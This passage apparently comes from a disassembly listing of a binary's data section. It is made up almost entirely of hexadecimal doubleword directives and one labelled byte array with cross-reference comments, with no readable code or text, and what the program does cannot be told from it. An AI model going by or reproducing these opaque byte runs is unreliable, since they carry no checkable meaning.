0FDB8143Ch, 8F9D2457h, 97E0E783h, 0F6606DF1h, 760540A5h dd 5820CF6Bh, 0A785DB7Ah, 82683788h, 0C320580Fh, 77DAD896h dd 3F7F063h, 65A8904Dh, 40008AEBh, 37A5463Dh, 1407849Ch dd 446C6F57h, 0CEA6BEE0h, 0BA59008Bh, 77CA3F3Dh, 0A37479BCh dd 0A489A57h, 1CCF0EA8h, 0D4FD1A40h, 85F72FA5h, 8D142D56h dd 9832A238h, 0CEFA1Ch, 1097A8BDh, 6AB66C2Bh, 6F323Fh dd 57A6809Ch, 0A3A2AFh, 7858F97h, 0A4DDB4B7h, 0E63C98F0h dd 0CCEE29C9h, 341A3067h, 0C05E5A67h, 0A80B3707h, 887753A1h dd 30134E85h, 0D39F3A1Ch, 0E2B7A53Fh, 82D21698h, 82C9D7D4h dd 43501790h, 856AA24Ch, 983876B4h, 0CDE42318h, 0BC1D9A00h dd 50977A8h, 9EC5C6D6h, 0F1B8027Fh, 9A42A1AAh, 90F78003h dd 0C737601Eh, 8805C3C6h, 0C4D724F8h, 6C4C2930h, 10475EC8h dd 0B0747A14h, 4D357612h, 0E869FB10h, 7CF0A4DEh, 0A8B6C0CAh dd 7C82C50h, 223266FEh, 591F83C2h, 51531BD8h, 84997E1Ch dd 4445A7CAh, 0BA9014C7h, 450F61Eh, 0BED3797Eh, 0E708B0Ah dd 20812AA0h, 0BFD99473h, 0A05F6268h, 0B482F01Eh, 189090A3h dd 0E31F78B1h, 7C49FD0Ah, 0A41F009Eh, 5704EC17h, 230618A5h dd 894BE5ACh, 0E2C61902h, 389A85AAh, 781F308Fh, 0D901F89Fh dd 0A3C7EEDFh, 0CD2145Ch, 0FFAD5043h, 64133E80h, 342CA6CCh dd 4073248Eh, 1FD83063h, 0A6088803h, 7287AE97h, 0E0525A60h dd 79AC5154h, 14AE912Bh, 0D25AF682h, 0D9AC904Dh, 96601C5Dh dd 18AB55E6h, 7D13C4C1h, 0C289AC9Ah, 77A50701h, 6C30645Dh dd 0A4E53CA1h, 13B4FF0Ah, 5681EE20h, 815831h, 0A1849Fh dd 2519B7A4h, 0BB1437A0h, 45ECE1E9h, 0BAC2CF0h, 0FFE3E43Bh dd 0FF02D9FAh, 5BF916Bh, 17A0E01Ch, 299D7C8Bh, 8E3CA765h dd 89ACA90Fh, 2E02DFB9h, 6D57ABE0h, 1C86768h, 4FD13BAEh dd 3FE04088h, 0A64CF614h, 0D5EAB010h, 87FE32F8h, 48451F28h dd 0AE8EF601h, 33077FB6h, 480AFD95h, 0F4A7C760h, 5AFBF85Bh dd 5F79C255h, 0DC9C908Bh, 73E6AA00h, 7E5659EBh, 0FB815D9h dd 6DC150A8h, 513321F4h, 4FD9B9F0h, 60C7AECh, 505AFA9Ch dd 0A4B90219h, 241F45A8h, 0AC07C067h, 5CB2BF30h, 5EBC6087h dd 17A80BE3h, 14047AAFh, 0F748C322h, 1818B8A3h, 1410BF8Ch dd 78CB4C1Ah, 3712203Ah, 0E641F0Ah, 17465D07h, 0D71F4878h dd 33A841Ah, 65A91F6Dh, 4508037Ch, 766EEF19h, 0F0AACFA9h dd 0A8A083BBh, 0A5007B32h, 0DA2C2857h, 7CA418E5h, 0D6642608h dd 0D7AF0E00h, 30959099h, 44C07F8h, 742A3898h, 510080F0h dd 0F31EF7BAh, 42817A5h, 9BB7AD7Ch, 83688186h, 0CA893B2h dd 41F6AC44h, 729A10C0h, 0C20EEACDh, 0B6309718h, 0B3B76440h dd 53017E8h, 586F08B8h, 27C512CCh, 0B0B00353h, 89F9C7E0h dd 90E3D3EBh, 9B850807h, 2643DA28h, 58E5E0DFh, 7CCE749Dh dd 5CF18F4h, 23C5208Dh, 0FA8663Ch, 87D9600Fh, 0A5819441h dd 0C5E073C6h, 677840h, 0A9218525h, 0C8CFBF05h, 807CFDF0h dd 9B0AE51Dh, 0F78E8F3Fh, 0FE6E84AAh, 157828C1h, 0AB619440h dd 0CA570FA4h, 8C80A7C1h, 0E0370869h, 71F92090h, 64309056h dd 0CABF770Ah, 0CB2838F4h, 4D6200ACh, 0F9843BD5h, 0B403E5BBh dd 0F58FCFD3h, 0D8ACC026h, 0DA90034h, 47E5C50h, 44E8A0AEh dd 0D3512C00h, 0DE62D27Bh, 34F0BBh, 29551BD8h, 2FB2DBDAh dd 0D79BDF00h, 0EE047444h, 0E4E847h, 0FBD49214h, 7BA8A786h dd 31118A60h, 0F8475BEh, 0BBAAD31Ah, 4BA03445h, 0D5807C48h dd 0A9352FEBh, 89BBED35h, 8073280Eh, 4790B14h, 7F1D0A61h dd 6020D5A4h, 0E8C56798h, 2CEC694Ah, 7D960173h, 7853E304h dd 2E3858C4h, 345C908h, 0D42D0031h, 0B5247E5Dh, 5BD35000h dd 0C47714A6h, 0A51B0091h, 0A4C82865h, 273E7385h, 0C5F0076h dd 3E6345B3h, 0CB7B00D8h, 0D5E47719h, 24077929h, 0A5B30D2Dh dd 4BE1C0DDh, 87081EFFh dd 15E40078h, 27C47A23h, 0D3107563h, 0C3A81FC1h, 3FA40C1Eh dd 6F3E24F0h, 0A90774DDh, 0FFC47EA3h, 0C437DE7h, 0A71007A1h dd 5BD5E6h, 2F1BD7CFh, 3BDA0703h, 0C0DD89D2h, 0FD9DEDFh dd 0D836A9BBh, 3AE4CE8Ah, 897F918h, 0BD3F51C0h, 0BE2D83C5h dd 0A12C8B45h, 10873A65h, 0C11644E5h, 80289225h, 79103D18h dd 92AD6E4h, 402C05A1h, 0BC6E1400h, 6348DBD9h, 9E9B001Ch dd 195BDA20h, 7BB40C06h, 9120C598h, 60F8C074h, 169CEB50h dd 847A0C0Fh, 0E47E43B6h, 3BA8D04Ah, 0E89162CFh, 2C40D14Ch dd 905E45h, 900FD528h, 28B7B424h, 0C305540Eh, 18470CDBh dd 0F0B8D678h, 0D80FDEA1h, 1DEF7DFBh, 10DFE20Ch, 0D24A07D6h dd 41459A96h, 0E0910256h, 0AC7EE2B6h, 1D5E7B3Ah, 67921BD4h dd 30B5880Ch, 9C8F37B6h, 73892088h, 0D0E75764h, 75FCF5A4h dd 30D62424h, 366492E0h, 0B0BC4876h, 0CC478D14h, 3A899B0Ch dd 293CF1F8h, 2F4100B4h, 0EB063BD9h, 0EEC56EB2h, 0D8143649h dd 8510E271h, 6D0A8765h, 1A4C458h, 1BD02845h, 5052C30Eh dd 0EA67808Ch, 3E030A0Ch, 2D8BA8F4h, 6E04AB1Ah, 0C000846Fh dd 4DE4708Bh, 0D6D24906h, 1F084B9Ah, 76E0F5h, 0A5B2FF63h dd 700A2902h, 846DC144h, 73A9A400h, 0F1806084h, 0CA7CB0D3h dd 0D447C5h, 0C864754Fh, 9A8F5C4h, 743BAD80h, 0D47B5780h dd 0D35C0DDBh, 71990156h, 7C19C473h, 0E4455C20h, 827B12ABh dd 855002F8h, 70BBD849h, 0B55427C0h, 3064BD4Dh, 0C50460B6h dd 0D5E8C015h, 3EBBD721h, 0AE3A98A8h, 8E31C490h, 535C2838h dd 0EFA4D0h, 1065B30Fh, 0C7C475D2h, 0E7F47650h, 1B125C90h dd 24051EB7h, 0D80ACA1Ch, 8492A42Ch, 457C49h, 1DF20594h dd 71040170h, 59C47486h, 8C64E0CEh, 41508F62h, 0A3306054h dd 1BA9243Dh, 4925501Ch, 2929C14h, 0B8C013D8h, 3724B000h dd 28BBD835h, 39CABD9h, 847657F6h, 4A05188h, 10C555CFh dd 0A40C8602h, 26DBB0B5h, 9D806C3h, 940022F5h, 0E4719199h dd 75B3BD03h, 3D7CB704h, 98CC4B98h, 4835E214h, 0C8616C80h dd 0B0A085EDh, 0CC90AE4Dh, 5C33E429h, 3F203187h, 60378852h dd 0C0220AA8h, 0D4671398h, 8498319Bh, 50208422h, 45B8FCh dd 1BDED3CEh, 7BD78810h, 0AB139975h, 5E01DB5Bh, 0A875069Bh dd 2EDC9449h, 9CEB00C3h, 98968EADh, 0D1762702h, 0D9C12B00h dd 0C8CE6DA6h, 505E266h, 27AD06C6h, 321C40DAh, 1F8BE1Ah dd 0C25B4082h, 0A24600D9h, 0AA670DF5h, 0C71E020Eh, 9E392247h dd 803BD0E6h, 0E70F63F1h, 0E8058267h, 1B53BEBh, 0EE80BEBFh dd 0DA099580h, 473E6C26h, 0E548030Ch, 0AF9C60CFh, 0FFE4478Fh dd 0EC3A020h, 0B3E007E3h, 6340E194h, 0A9C1CFFDh, 5C20D0F2h dd 60E2260Eh, 0A81838F0h, 3EE17C98h, 1E782BE9h, 8E30B7Bh dd 0AB0C9402h, 38295892h, 5218E288h, 26590827h, 0B57A80h dd 0FBFC80CFh, 72EE66DAh, 9306F07Eh, 0CEA0EF13h, 7CE060h dd 16C0E22Ah, 0E080E491h, 0F8201462h, 0F820199h, 0BA67F0E3h dd 0B600E27Ch, 56A70564h, 0E070426h, 60D269FBh, 0E701DEE3h dd 0F00E18F9h, 0B6A04D66h, 40024B4h, 0DAA0CC7h, 0D825C4A7h dd 7D2050A9h, 0EED86E60h, 3C5E961h, 85E81972h, 0E5C06799h dd 0A5F85F6Ah, 0D0BD7E00h, 43AAD40h, 0C147127h, 8777E5E8h dd 0CC74CD70h, 0F5C0CC0h, 394816C7h, 933EA701h, 0B181270Ah dd 74FA01ECh, 0BC0B070Fh, 942A1D18h, 1B6FE700h, 37B8709h dd 4C70A5Dh, 6BC10F5Fh, 2F07F020h, 471D687Ch, 3C6964h dd 0C0E312A8h, 28C5EB18h, 0E0AC9126h, 0B0A0A85Eh, 6F40C778h dd 27674072h, 0E70E0429h, 3D1310Ah, 84CFB443h, 0A802548Ah db 1Dh byte_520045 db 0B1h, 3Bh, 0FFh ; DATA XREF: ___:0042CC88o ; ___:0042CCA0o dd 6AC0CE07h, 2AFC60EEh, 14C7ECh, 4198956Ch, 0AED6FA5Eh dd 0FA53E124h, 6F19DF13h, 6C200AA8h, 84B6518Eh, 0E4058D04h dd 0C009EDD7h, 0A69400DCh, 0F8D0C1F9h, 18396E42h, 0A7093DC0h dd 98A0A891h, 50A4284Eh, 0FB1DD900h, 0D614C146h, 0A0C7480Eh dd 0A3BE712h, 0C018C040h, 7B08ACA9h, 0EEA85361h, 88426651h dd 20504045h, 1829525Ah, 0EE394F04h, 4EF090A2h, 501333Ah dd 306F087h, 0A7CFDD07h, 47308E1h, 0C66C44F0h, 8806B50h dd 305F800h, 0D0814E7h, 94404907h, 84FA4874h, 2D1EB01h dd 0F08F9167h, 950323C0h, 0F92B80EDh, 45A7C1E1h, 487260F0h dd 1924D4B0h, 0DE103AD0h, 2C1024CBh, 8F9670Ch, 90ACF6C7h dd 802A48C8h, 0C468270Ah, 0F5FD0C8Bh, 23627D88h, 0E5F91A8h dd 0C0CFD740h, 0EC90D060h, 8BAAE33h, 48607026h, 51880C6h dd 73A50807h, 65133078h, 380980B8h, 0DD242352h, 820121Ah dd 84640590h, 0A4D809BDh, 72078401h, 86C7E0A6h, 6748C890h dd 0E1DCA320h, 0E4579A6Dh, 607399B2h, 90313474h, 88B43288h dd 0E8B84D98h, 26185449h, 8E386C7Bh, 260090A0h, 918E207h dd 44017360h, 0A3525A26h, 23032048h, 1411B77Bh, 8A4C6E79h dd 0C87A73Dh, 39C7E6DFh, 0C058E488h, 90E358CBh, 0CE247892h dd 27090817h, 266404D9h, 5301248Ah, 0CD56BFBCh, 189020FDh dd 8D6730C0h, 0ACE6CA76h, 705C064Ch, 60452F27h, 6AE90E14h dd 0C25F14D8h, 14A38ACh, 175906C1h, 7422C6C3h, 0E6F8E987h dd 0EE28D947h, 748A89Bh, 0F42AA0F0h, 297061A5h, 402B6B4Eh dd 0CFEE7ED0h, 23B3A012h, 1BDDA438h, 0A1669F4Bh, 48C274DAh dd 0E03EEC16h, 0D09F1823h, 78F58EF8h, 28C75681h, 34A1100h dd 0D2427E09h, 7F3C6B0Ah, 65E1140Fh, 8C48DC92h, 7EE204CEh dd 8418470Fh, 641877B0h, 0BA63828Dh, 45BBBCA1h, 73D04BC5h dd 90014609h, 9424A8BFh, 30794350h, 0EE2151FAh, 40B050C1h dd 2E245853h, 3418CD3Eh, 920C4EF1h, 0E2B03020h, 0ED8F0508h dd 5160A099h, 6FE59103h, 0A06838B9h, 9FAE4600h, 0FD79C6D9h dd 48A306E0h, 637270C5h, 21BF865h, 19EA40E8h, 0C8242C98h dd 8518140Bh, 7990A708h, 77270AFAh, 0E03CCFF9h, 93116CB7h dd 0D224BB04h, 606858Bh, 67186889h, 0D610443Dh, 0A0D012A4h dd 0E0FC002Dh, 0E7095015h, 0EF6334Ch, 62CA75C0h, 601B3846h dd 0E84FB04Ch, 3A4A580h, 65C7E1F8h, 616B7130h, 52325A66h dd 0C5DEA8EDh, 44BE6C4Ch, 838CCEE0h, 0D5E94698h, 0C07C22C7h dd 61F17756h, 1224906Bh, 387B85ABh, 0CD14657Ch, 8FF8810Dh dd 0C6DAC264h, 10808AA1h, 2287DC58h, 0EE1B1756h, 8728BAA8h dd 0B86C3B0h, 0C6C50B40h, 88137AEh, 220F3484h, 0BDE3C188h dd 8050663Ah, 11A834Bh, 0CE9DE0E4h, 60B886C8h, 1E04C778h dd 0C260D138h, 2202348Fh, 0B7B5CA94h, 84456B0Fh, 808B408Ch dd 0C5BDF05h, 0C0F04B9Dh, 0A416F489h, 0D6BAD10Ch, 146B2998h dd 0E0CFF8AFh, 0A0A2A1B7h, 0CB298B39h, 50DC888Bh, 0A923B2E3h dd 85D207DBh, 0F884E4C4h, 0BC33B0CBh, 51051290h, 0E55BBA0Bh dd 0E0C16470h, 0A27DF257h, 479B63ECh, 65045028h, 0D1126D0Bh dd 61864B24h, 6041C19Ch, 220280BCh, 0CEA0E30Dh, 215041FEh dd 5C465D20h, 705E48Bh, 0CB0E5538h, 0DC453834h, 0A8E1305Ch dd 0EDD5E62Bh, 5A9685Ch, 769A4B81h, 9FB80DE6h, 203FED81h dd 0F150410h, 803046DAh, 1566B5A4h, 6B98A008h, 72DCB8ACh dd 5802B20h, 9C3F9D48h, 300AD85Eh, 6E24F9CBh, 0E658F0E5h dd 0BB8110D7h, 75AB0A4Fh, 7F709C61h, 0F45E3A21h, 486DC4D4h dd 5C054C91h, 60270F61h, 72D7BB74h, 0E4DC8D55h, 0E0E92E7h dd 5431EDA7h, 11B4B08Ch, 3BFC2415h, 6853BA7Ch, 0DBF29E06h dd 2B1221FBh, 180E9DEDh, 80EC017Ah, 0EC70AA1Eh, 914B78A5h dd 0E6D26038h, 514923D3h, 0D9781774h, 272E838h, 0A87C578Ch dd 9A84D128h, 0FB58C327h, 438CC5A5h, 0CD1C06ECh, 3F14C6A0h dd 0F66F18C5h, 15A6F081h, 78796870h, 0A44AF9F4h, 4688FB3Ch dd 0CB053C72h, 0A08125D5h, 0F0211455h, 3E0B49D8h, 0B4585847h dd 236ED16h, 24C3A88h, 1D04B496h, 39AABE83h, 2C4AB00h dd 6C3A20EEh, 0B394487Fh, 66C6E124h, 240B0C24h, 0B707392h dd 8886BEF6h, 9499C054h, 678CF960h, 80AB9093h, 5C424CE8h dd 38B07CC5h, 2829CC9Fh, 61E0E451h, 441279ECh, 8324983Ch dd 0E35878C5h, 0C60214E7h, 8E09C4AAh, 0C80421A7h, 0D280B050h dd 0C40708C1h, 745CD0ADh, 71FF18C0h, 996E411Bh, 0F001DE2Eh dd 0F5D9605Ah, 0CE29C09Eh, 0C70438BEh, 0C7DD62Ch, 0DA37102h dd 0EE0E61A7h, 0B8CC7472h, 41CF40AAh, 3838DAAEh, 90206F34h dd 28A9657Fh, 8BD0120Eh, 55DA0694h, 0A5183BFh, 91F8AEEh dd 0FB258FCh, 3CD65C18h, 2BB94E28h, 9D3C0C43h, 6A760455h dd 9AC21E3Dh, 14670986h, 0FE016504h, 8E05A763h, 879CC0B3h dd 0D71198E2h, 0C4DD3B4Dh, 0C8DC56A9h, 19501748h, 6978FCCCh dd 5D8394A5h, 0CC6A5A03h, 0ED1648D1h, 67B02838h, 302C6EBBh dd 0CC940C09h, 8A200094h, 63870A65h, 1647E862h, 2CC1010Ch dd 426C6EF0h, 10B9982h, 0A70A807Ch, 5CEB40C4h, 0FA113C38h dd 1779634Ah, 2C0A7B41h, 0E2295A08h, 4E02F41Dh, 65042409h dd 0FB8782BCh, 0A4AF82D8h, 0EC37CB62h, 0A593CB8h, 8B88E676h dd 0D13A1076h, 0B759A180h, 0B07550D0h, 0B86B7918h, 6FD099A8h dd 0B1B53F63h, 0BAB0408Dh, 51070BFCh, 0A0EF4702h, 0B8E2D553h dd 2AE14644h, 1498C916h, 0FC0FACABh, 5412F12h, 0CE31E5B0h dd 570C75BCh, 9877F51Bh, 3E4D2C0Bh, 5990738Ch, 0E241923Ch dd 0E029A3E7h, 487F8EE0h, 0D4B06C05h, 7C3F171Dh, 62509D1Bh dd 0C73F3C40h, 7756CABBh, 49261EC9h, 48E30233h, 240CF1Dh dd 0FB00F382h, 0B5A5A965h, 0F8C74Bh, 53092AC3h, 0E0E92903h dd 942C5A3Ah, 9024C802h, 9BDE0C96h, 227062h, 29218795h dd 844BEE3h, 680880FDh, 0B04584A3h, 586A1F1Eh, 0EB15D11h dd 7D0088F1h, 80966451h, 79C4CE00h, 0F470E35Fh, 175A0047h dd 332F7786h, 52028325h, 0D16385E4h, 6F1C9843h, 0A73100E8h dd 3A47F3D9h, 0AD808B38h, 0B7AC149Dh, 0A5C01844h, 0A17F2A6Ch dd 0EF105A60h, 0E45156ABh, 6908C7B0h, 0BDD73Eh, 0D7F87421h dd 59AB610Eh, 0FBB660F2h, 3AEA147h, 0CC147A4Eh, 0B999672Bh dd 0E74080FAh, 0ED1E4CF3h, 0F1240096h, 0F2457F5Ah, 9D18787Eh dd 33686102h, 72C90173h, 0EA192F12h, 25F8D81Bh, 0FA8D921h dd 0AF824741h, 0F018733Eh, 0E4898027h, 0D8004C77h, 59CD0CDh dd 371C7F8Dh, 23D00720h, 0CFD00FAEh, 9D3F9356h, 2DA48CDDh dd 0A9CE914h, 0A9019BF7h, 0EC70138h, 483B4E8Ah, 28402F6Ch dd 4C400003h, 59C71E69h, 4E01B2F1h, 0FC22066h, 0A7E88BDBh dd 705D600Dh, 0DAC73BACh, 0A8AF8C28h, 6E14B603h, 0B04BBDD4h dd 7DD11C8Fh, 3A2E0FFEh, 0C1605166h, 3337DA6Ah, 2B11FA00h dd 0ED010325h, 0C4771F4Fh, 7C3C017h, 0A1234A93h, 25288507h dd 47E0D48Ch, 3F72DF0Fh, 5480BDCAh, 0B73E88C7h, 0D3F350Eh dd 605CF0F3h, 10F200D3h, 340A6E4Dh, 0D1E81F88h, 5ED60016h dd 750C5A8Eh, 3A33300h, 64B7ED20h, 9BA43E6Dh, 72B59907h dd 38B4E0BFh, 0B300E3DCh, 150A5F32h, 7A1237h, 1C711B3Ah dd 0C3B9CA06h, 0E6BFCF03h, 0D039FBD5h, 3837555h, 2B6DA6C0h dd 9690BD47h, 30CF4664h dd 488280C4h, 0FCC9895Eh, 0FA020338h, 341AB244h, 0F427DAD1h dd 0E7077DA6h, 0DC4225ACh, 38ECD0B0h, 0EF430091h, 1F938782h dd 90053B2h, 29346FFEh, 1FAF7696h, 3CB1FDD5h, 0C400D14h dd 1F2F9700h, 0A9E693EEh, 0A478E4A0h, 7E798900h, 0A401B4Fh dd 8DC20537h, 807B1EFEh, 0D1DC020Bh, 938F418h, 0C12008h dd 5B5AC750h, 0E9024F71h, 4ADCD600h, 534B7B58h, 0C291843h dd 0C40D382Ch, 2100FFF8h, 9E7084CEh, 19B2F5BCh, 8B0C1FEh dd 2061951Eh, 0DBE20004h, 0FAFDB8CAh, 0ED0CAD1Eh, 300F09h dd 4F0AF31Dh, 0E636BF7Ch, 7DD11F6Fh, 2FAF401Bh, 37926710h dd 854518C2h, 3487210Eh, 0A9B91194h, 18A81F08h, 88484C1h dd 45DEFD6Eh, 4351F51Ch, 29101338h, 0F19D1438h, 2ECF140Ch dd 0A7B11030h, 81BFF882h, 0B1309924h, 0D88D9E2h, 8A0CA083h dd 612C653Bh, 0E3544AA1h, 9F558A3Ch, 2BEC060Ch, 0C9606182h dd 0D239D379h, 20F50042h, 0AC784A79h, 0AF245A31h, 1E400860h dd 2D4450h, 0A79D4FBDh, 218F0ECDh, 9ADBB8A0h, 0AAE18000h dd 5AB703A0h, 0D01C3008h, 0AEC2ED38h, 1B9EB400h, 4AB8F342h dd 33CA0039h, 35A88DD5h, 0B7009734h, 0C773932Dh, 7E1221Eh dd 94E2EC77h, 0CC0EE0A0h, 0B4E8AF4Bh, 0D10CD807h, 0C2207DF5h dd 0B17C4Ch, 0B9239203h, 0BC5460CCh, 4F124CA8h, 0D8911830h dd 3CB7A037h, 0E8360C9h, 90535639h, 8081A2DBh, 0D23AF0B5h dd 9967B00h, 1530B621h, 0FC4A00DAh, 0C2E9BC76h, 600CEEDh dd 0E3AAFD6Ch, 15F83713h, 1C51A2EAh, 3C666884h, 1E880051h dd 3CD6FA84h, 0F228C861h, 910A9103h, 0C0298E90h, 616DF8h dd 56221135h, 0D6CE8B16h, 0B1F08A0Ah, 80BEB894h, 0C8C00DB7h dd 2F8D342h, 256003C4h, 0A1603B99h, 0AC0A1C98h, 5CADDF78h dd 38B28860h, 747D37h, 9CD3328Ch, 289E7175h, 4FB8F92Ch dd 30576200h, 1E31D83Ch, 1EC906h, 65C87CF1h, 4492E1Dh dd 933E04C0h, 60906E6Ah, 1809C0Dh, 2EF86139h, 800591D1h dd 7F945A29h, 0FC5CC1Ah, 8A2AFC06h, 0FE1B0D9h, 0D8DEDC82h dd 83990535h, 5C4C287Fh, 358B1E00h, 10E4E0C0h, 98F9025Fh dd 0BE2611C8h, 485CB480h, 0C70EFADCh, 0C32D05C0h, 281B0Ch dd 57B03740h, 0E295C8Eh, 5DB0E0ABh, 7C3EBBDEh, 0B600F477h dd 0B0D8859Dh, 0E94A617Dh, 50107427h, 5B0E8D0h, 7F2F9319h dd 0CA00FF3Ch, 0C77CC822h, 0CBB50060h, 4689A0F4h, 0A02B097h dd 587F54Eh, 1A3B40A2h, 3DF975F3h, 4298B831h, 0EBBE2073h dd 4BD8BFh, 0D1E77CC9h, 0A0881FDEh, 0E159F90Ch, 73C4CC6h dd 0AC185D4Dh, 8FF58094h, 3207A170h, 0C69B2B99h, 4F5F9F70h dd 1AAB307Eh, 89E5C358h, 16A7C22Ch, 60DC0C0Eh, 979969B2h dd 0BCAB3F82h, 0FBE21280h, 0E1FAA8DAh, 7FDB7000h, 6D05ACEDh dd 28772BC6h, 3BCFF844h, 80C384A8h, 0BD640603h, 763F5817h dd 0B0E30364h, 5D1B3416h, 9CB0C5B3h, 80084E2h, 7601DF3Bh dd 7D7D1BDh, 94A93717h, 70C950A2h, 0C39246Fh, 95BD80CDh dd 0E3B98F7Ah, 5D140077h, 300A04F4h, 7501C133h, 17E0A318h dd 888F55C2h, 0AE207CBEh, 0F8543A4Bh, 0B4FA421Ch, 6D8D99C2h dd 0D084B3E0h, 145FAAEFh, 0A08740DFh, 3F0E3300h, 0F5687BDCh dd 9ED9B800h, 645FCFEDh, 34A0005Eh, 88C611CAh, 4100409Fh dd 0F63FE80Dh, 0E3129EF3h, 0A21AF0h, 0A8C3157h, 0BF515436h dd 0FDEE2F00h, 879AF32Bh, 0D0B45420h, 3F4A0780h, 0A04E067Fh dd 8878392Dh, 0F1715900h, 0F3AB0FEAh, 0A3E8DFh, 5255823Eh dd 3D4B3623h, 0CE22105h, 0E000897Dh, 0FF6FB71h, 0CC865066h dd 0F4760FA1h, 1A75677h, 78A3F017h, 81006C25h, 0F7C06F91h dd 1F7E4D3Dh, 0F6A2744h, 92E299F8h, 0C4580A6h, 13F6170h dd 0B44DE425h, 22E50DCEh, 0FC470004h, 71400E70h, 77C20568h dd 2AA32F8Dh, 6A9080FCh, 0AF0DD9Eh, 7410C143h, 153B40F4h dd 910A45EEh, 80A33C2Eh, 0A119E58h, 0A1BB6C0Bh, 0D5245644h dd 2C9D7C29h, 410C538Eh, 0F91101B1h, 2ADCC44Ch, 3908E03h dd 0A422B31Eh, 38074AE6h, 0A062D21Ah, 95423281h, 8631090h dd 0F94E77Bh, 0E8069F74h, 0B6FA2141h, 19A6D708h, 0A0930188h dd 86ECAB0Ch, 0AE296930h, 2D00078h, 74A5EBDAh, 0DB28B834h dd 5202E22Bh, 5771C469h, 774048BEh, 30F15E0h, 1800DC97h dd 2A7E3F49h, 0DE00F49Bh, 2B6E7BA4h, 156F9CBFh, 9C3C45DFh dd 91381Dh, 0B0A7CDEh, 0E102C388h, 332DBCD5h, 957140CFh dd 68EC00BBh, 5D4E0DC9h, 191401B2h, 1BAC2D47h, 0FD9F21Dh dd 0E186E8A8h, 4CC45300h, 0BEF0CD65h, 0F92B5205h, 0E4408405h dd 4D9EDD62h, 0B08F6124h, 23E009CEh, 91830190h, 9B0AA273h dd 0D9EC30h, 0D0C689BDh, 0BF5A0F8Ah, 0F89AF013h, 0CCC3F14h dd 1882E9B8h, 33B90F2Ah, 0DE800DA2h, 0C01AAA66h, 0A641CC00h dd 7F01EF0Eh, 91AC3017h, 8EF3DF78h, 0EAE18A1Dh, 0FDBE2500h dd 2460A2BFh, 814852ECh, 4DD0F8FAh, 1B15FC67h, 1691431Dh dd 1C400C12h, 75556124h, 0BAD90372h, 0DB510265h, 0DC3D60A8h dd 0ADC2B300h, 419EF6A8h, 61F23E81h, 0C3AC090Fh, 84432D02h dd 9EEBEC40h, 876E1E3Fh, 0B92FD766h, 3BAD3FC0h, 0C0020F2Eh dd 64E080C1h, 38CC0DE9h, 6BB06500h, 9885E1CAh, 464F0728h dd 0C0F511AEh, 1A3530DEh, 1D8ABA00h, 9F4BE98Dh, 9F014D24h dd 50E7AB00h, 9F97B9Eh, 2BF31C00h, 0FE728C1Bh, 37530104h dd 0F5908EE9h, 1ACD20D5h, 61E8EC00h, 8F98921Bh, 30E00D1h dd 70048837h, 5800E3A7h, 5D907757h, 1CE644A5h, 0CF36B6DCh dd 1A871FAAh, 83BDF0A7h, 0B2001090h, 0B850045Ah, 0CBD4DCh dd 0A2482CA1h, 7D8B152Dh, 1B623Dh, 63FC40E7h, 73DBCCh dd 86AD6F35h, 7176F891h, 0D1518A0Eh, 0D4D7C0E9h, 726F805Ch dd 52BD00C5h, 49A18FA2h, 24001A8Bh, 9AE37D62h, 0D8C33Ah dd 0D7C88E89h, 150CBC94h, 0B853AC00h, 0CCD49E7Fh, 1E83FE56h dd 42BDC7h, 6F9838BCh, 79C084A3h, 0AFCD5F5Bh, 136C007Eh dd 7B63E3AEh, 0DF019231h, 0AC1A7C2Ch, 82211E62h, 5C6AD4h dd 683957FEh, 22DA6E0Eh, 7A0C5400h, 0A8FD637Fh, 765A0EB7h dd 61EF0AB6h, 0D62643C0h, 0A90007B1h, 0EB862AC2h, 30992CB9h dd 96A868B5h, 3F003579h, 0C695AA2Dh, 0EC556D47h, 0A11F0E5Bh dd 0D70F5A30h, 859FB487h, 0E45CC36Eh, 581463C8h, 0A0F6940Eh dd 5535409Eh, 1F682A20h, 8FCE9965h, 45076EB4h, 60539092h dd 3300EBF5h, 0FC75B704h, 0E5025E6h, 6A77FE43h, 9DD8E020h dd 927F422Ah, 9CEC2600h, 0AE717EB8h, 0F8E10028h, 0BA5875C4h dd 0B4004046h, 0E287106Dh, 3016B85h, 0D5AB2267h, 0A09FFDA8h dd 0A1AE0CCDh, 0C8B5AA02h, 40D6A0DAh, 0B452D5h, 4F036F97h dd 85CD0B30h, 2D3B5D17h, 2524ED00h, 5C87DBA2h, 0D2009CF6h dd 1BE30F6Dh, 0A61EB058h, 7DFBC6h, 0FCB96F84h, 0F2ACD252h dd 2B2A008Ah, 0F4B744E3h, 5600F240h, 0F8D4E67Bh, 0E6255h dd 4D75C32Dh, 0DD1F8C4Eh, 0A6254004h, 0D4C08778h, 0E579CBh dd 0FAD8772Bh, 8C6FD01Ch, 0FB63700h, 289D41Fh, 2859078Ah dd 0B30C337Eh, 2ED0C091h, 7DE29C64h, 38D52300h, 0C23287AFh dd 1B4E0F4Ch, 1140FBC9h, 0F1048C1h, 0C61BF26h, 0BE770E03h dd 0F982B88Ah, 57E30037h, 0BC1B0692h, 0C007344Ah, 0E1A46A0Eh dd 0A610BFC7h, 2C911h, 0FA7B5977h, 65FBE7E4h, 2B05BE0Eh dd 0C09E8714h, 0F48723B0h dd 327E3033h, 0BB6B1379h, 6AF08304h, 0FC0FAB9h, 0C08D8025h dd 0EAB2E7A4h, 9500509Bh, 0EB1F2F47h, 3853DA91h, 0C980D297h dd 0B7CD34F8h, 6005563h, 0E572CE3h, 0FFBCBh, 3CE47802h dd 4239945Ah, 81530B3Bh, 32F78735h, 73EC228Bh, 812D0059h dd 50A5BE7Ch, 8700A854h, 0D869FA07h, 79D98956h, 0BC2900D7h dd 3DC50A41h, 0BA06ED97h, 77729D2Dh, 5F3A2228h, 0FEADB000h dd 0D019D3F2h, 29320489h, 41320EAh, 574098AEh, 0D3F166D2h dd 10D5B522h, 77DB6085h, 226379C0h, 615AC0h, 83F60242h dd 8D4CA3B0h, 210FC8E7h, 0E649E507h, 9330DB38h, 1CC682C4h dd 4077AE75h, 9197BA8Bh, 8D000D5Ah, 0B37337F8h, 0CEC9BDh dd 488B8A57h, 8E03992h, 0EDB4E90Fh, 681EC732h, 2D80CB15h dd 89EEADh, 526B3F18h, 0E87C5FE9h, 0EA118F00h, 94281E79h dd 7E2298D5h, 40370025h, 83EE2A1Dh, 5A00622Bh, 50AF78B6h dd 46B9C2h, 2F894AC4h, 2195F3FDh, 6073FB05h, 31C03779h dd 3F64ACD7h, 9E0967E6h, 0B80E52Ch, 7DE8271Ch, 0A1805400h dd 56CBAAD1h, 0FD593CC3h, 27AE1E81h, 0F046E331h, 9CF428DDh dd 